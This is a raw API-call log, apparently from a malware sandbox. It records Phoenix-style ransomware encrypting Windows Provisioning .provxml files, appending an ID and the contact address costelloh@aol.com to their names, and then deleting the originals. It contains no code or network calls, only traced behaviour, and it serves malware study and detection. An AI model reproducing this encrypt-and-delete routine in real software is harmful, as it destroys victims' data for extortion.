	[0248.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0248.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.700] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.700] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.701] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0248.701] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.701] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cd, lpOverlapped=0x0) returned 1
	[0248.702] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0248.702] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0248.703] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0248.703] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.703] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0248.703] CryptDestroyKey (hKey=0x151500) returned 1
	[0248.703] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0248.703] CryptDestroyKey (hKey=0x151780) returned 1
	[0248.703] CloseHandle (hObject=0x2c4) returned 1
	[0248.703] CloseHandle (hObject=0x2c8) returned 1
	[0248.703] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0248.704] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.705] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=798) returned 1
	[0248.705] CloseHandle (hObject=0x2c8) returned 1
	[0248.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.705] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.705] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.706] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0248.706] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.706] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x31e, lpOverlapped=0x0) returned 1
	[0248.838] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0248.838] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0248.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0248.839] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.839] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0248.839] CryptDestroyKey (hKey=0x151080) returned 1
	[0248.839] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0248.839] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.839] CloseHandle (hObject=0x2c8) returned 1
	[0248.839] CloseHandle (hObject=0x2c4) returned 1
	[0248.839] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 1
	[0249.157] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.157] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.161] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=712) returned 1
	[0249.161] CloseHandle (hObject=0x2f0) returned 1
	[0249.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.290] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.291] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.291] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.309] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0249.309] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.309] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0249.338] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0249.338] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.338] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0249.339] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.339] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.339] CryptDestroyKey (hKey=0x151240) returned 1
	[0249.339] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.339] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.339] CloseHandle (hObject=0x2c8) returned 1
	[0249.339] CloseHandle (hObject=0x2b4) returned 1
	[0249.339] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.340] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.340] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.340] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0249.341] CloseHandle (hObject=0x2b4) returned 1
	[0249.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.341] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.341] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.341] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0249.342] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.342] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0249.352] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0249.352] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0249.353] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.353] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.353] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.353] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.353] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.353] CloseHandle (hObject=0x2b4) returned 1
	[0249.353] CloseHandle (hObject=0x2c8) returned 1
	[0249.353] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.354] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.354] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0249.354] CloseHandle (hObject=0x2c8) returned 1
	[0249.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0249.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.355] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.355] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.355] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
